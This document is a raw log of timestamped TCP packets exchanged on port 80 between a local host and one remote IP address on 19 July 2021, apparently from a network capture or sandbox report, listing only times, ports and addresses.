Jul 19, 2021 18:36:49.214183092 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.214253902 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.214267969 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.214374065 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.214514971 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.215584993 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.215672016 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.216941118 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.218213081 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.221081972 CEST	80	50043	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.221198082 CEST	50043	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.224457979 CEST	80	50045	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.224575043 CEST	50045	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.225958109 CEST	50045	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.299618959 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.299638987 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.299653053 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.319768906 CEST	80	50045	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.320298910 CEST	80	50045	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.320442915 CEST	50045	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.435086966 CEST	50045	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.435514927 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.436655045 CEST	50046	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.441268921 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.516386032 CEST	80	50046	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.516505957 CEST	50046	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.517632008 CEST	50046	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.529520988 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.529712915 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.537358999 CEST	80	50045	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.537436008 CEST	50045	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.538093090 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.538193941 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.538880110 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.539002895 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.539184093 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.539304018 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.598015070 CEST	80	50046	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.598437071 CEST	80	50046	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.599059105 CEST	50046	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.635227919 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.635301113 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.635425091 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.635493994 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.635740995 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.635895967 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.636100054 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.636219025 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.636532068 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.636769056 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.636863947 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.636995077 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.637048006 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.637160063 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.637295961 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.640983105 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.704971075 CEST	50046	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.706257105 CEST	50048	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.733376980 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.733412027 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.733428955 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.733444929 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.733484030 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.733493090 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.733540058 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.733563900 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.733701944 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.733781099 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.733983994 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.734595060 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.738749027 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.738775015 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.738790989 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.738892078 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.738931894 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.738941908 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.784708023 CEST	80	50048	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.784739971 CEST	80	50046	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.784832954 CEST	50048	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.784871101 CEST	50046	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.785578966 CEST	50048	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.830074072 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.830250978 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.832284927 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.832448959 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.835040092 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.835072041 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.835562944 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.835701942 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.835818052 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.863987923 CEST	80	50048	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.864110947 CEST	80	50048	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.864281893 CEST	50048	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.926609039 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.926645041 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.926680088 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.926693916 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.928649902 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.972501040 CEST	50048	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.972815037 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.973952055 CEST	50049	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.022201061 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.053181887 CEST	80	50048	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.056308985 CEST	80	50049	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.058171988 CEST	50048	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.058278084 CEST	50049	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.059190989 CEST	50049	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.074439049 CEST	80	50047	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.076389074 CEST	50047	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.106439114 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.106596947 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.107321024 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.107502937 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.107724905 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.107856989 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.143564939 CEST	80	50049	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.143591881 CEST	80	50049	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.144526005 CEST	50049	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.191670895 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.191694975 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.191705942 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.191764116 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.191807032 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.191852093 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.192048073 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.192197084 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.192409039 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.192461014 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.192579985 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.192636967 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.193015099 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.193080902 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.193165064 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.193218946 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.193267107 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.193321943 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.193603039 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.193669081 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.194647074 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.194658995 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.194734097 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.194792032 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.251528025 CEST	50049	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.252933025 CEST	50051	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.275751114 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.275774002 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.275942087 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.275968075 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.276017904 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.279305935 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.279465914 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.336074114 CEST	80	50049	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.336199999 CEST	50049	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.348170042 CEST	80	50051	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.348315954 CEST	50051	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.348901033 CEST	50051	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.360991955 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.361840963 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.361927986 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.362154961 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.364044905 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.364145994 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.364198923 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.442728043 CEST	80	50051	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.442783117 CEST	80	50051	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.442895889 CEST	50051	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.447046995 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.447068930 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.447077990 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.447221041 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.447335005 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.447349072 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.447489977 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.548715115 CEST	50051	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.549156904 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.550307035 CEST	50052	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.629776955 CEST	80	50052	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.629925966 CEST	50052	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.632105112 CEST	80	50050	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.632174969 CEST	50050	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.642077923 CEST	80	50051	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.642163992 CEST	50051	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.902286053 CEST	50052	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.924757957 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:50.981579065 CEST	80	50052	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.982454062 CEST	80	50052	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:50.983154058 CEST	50052	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.003262043 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.003482103 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.004168987 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.004513025 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.005029917 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.005433083 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.081952095 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.082042933 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.082478046 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.082689047 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.083525896 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.083633900 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.083730936 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.083811998 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.084157944 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.084204912 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.084228039 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.084265947 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.084295988 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.084364891 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.084440947 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.084578037 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.084604979 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.084664106 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.084693909 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.084769011 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.084861994 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.084933996 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.085069895 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.095298052 CEST	50052	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.096762896 CEST	50054	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.161401987 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.161432028 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.161444902 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.161704063 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.161803961 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.162172079 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.162200928 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.162218094 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.162432909 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.163923979 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.163961887 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.163978100 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.164002895 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.164155006 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.175108910 CEST	80	50052	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.175323009 CEST	50052	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.189107895 CEST	80	50054	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.189260006 CEST	50054	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.189872980 CEST	50054	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.243617058 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.243810892 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.281836987 CEST	80	50054	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.281867027 CEST	80	50054	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.281991005 CEST	50054	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.323301077 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.323332071 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.402427912 CEST	50054	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.402646065 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.403738976 CEST	50055	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.405026913 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.482029915 CEST	80	50053	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.482189894 CEST	50053	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.501142979 CEST	80	50054	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.501171112 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.501386881 CEST	50054	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.501485109 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.502012014 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.502257109 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.502644062 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.502903938 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.505053997 CEST	80	50055	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.511004925 CEST	50055	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.511043072 CEST	50055	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.594177961 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.594427109 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.594444990 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.594454050 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.594589949 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.595288992 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.595309973 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.595319986 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.595422029 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.595510960 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.595592976 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.595748901 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.595830917 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.596242905 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.596266031 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.596281052 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.596338034 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.596370935 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.596681118 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.596800089 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.609091043 CEST	80	50055	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.611244917 CEST	80	50055	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.611439943 CEST	50055	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.687071085 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.687091112 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.687252998 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.687294006 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.687354088 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.687366962 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.687374115 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.687491894 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.687813044 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.687827110 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.688146114 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.691204071 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.691353083 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.720909119 CEST	50055	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.723696947 CEST	50057	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.779573917 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.779597998 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.779609919 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.779745102 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.780059099 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.780076027 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.781030893 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.783961058 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.783974886 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.783982038 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.810081005 CEST	80	50057	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.810292959 CEST	50057	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.811041117 CEST	50057	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.861938953 CEST	80	50055	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.862109900 CEST	50055	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.873912096 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.873927116 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.873934984 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.873945951 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.873953104 CEST	80	50056	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.874083042 CEST	50056	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.893579960 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.895179033 CEST	80	50057	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.895356894 CEST	80	50057	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.895431042 CEST	50057	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.991965055 CEST	80	50058	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:51.992065907 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.992558002 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.992646933 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.992803097 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:51.992886066 CEST	50058	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.001776934 CEST	50057	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.003163099 CEST	50059	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:52.083560944 CEST	80	50059	185.114.247.54	192.168.2.6
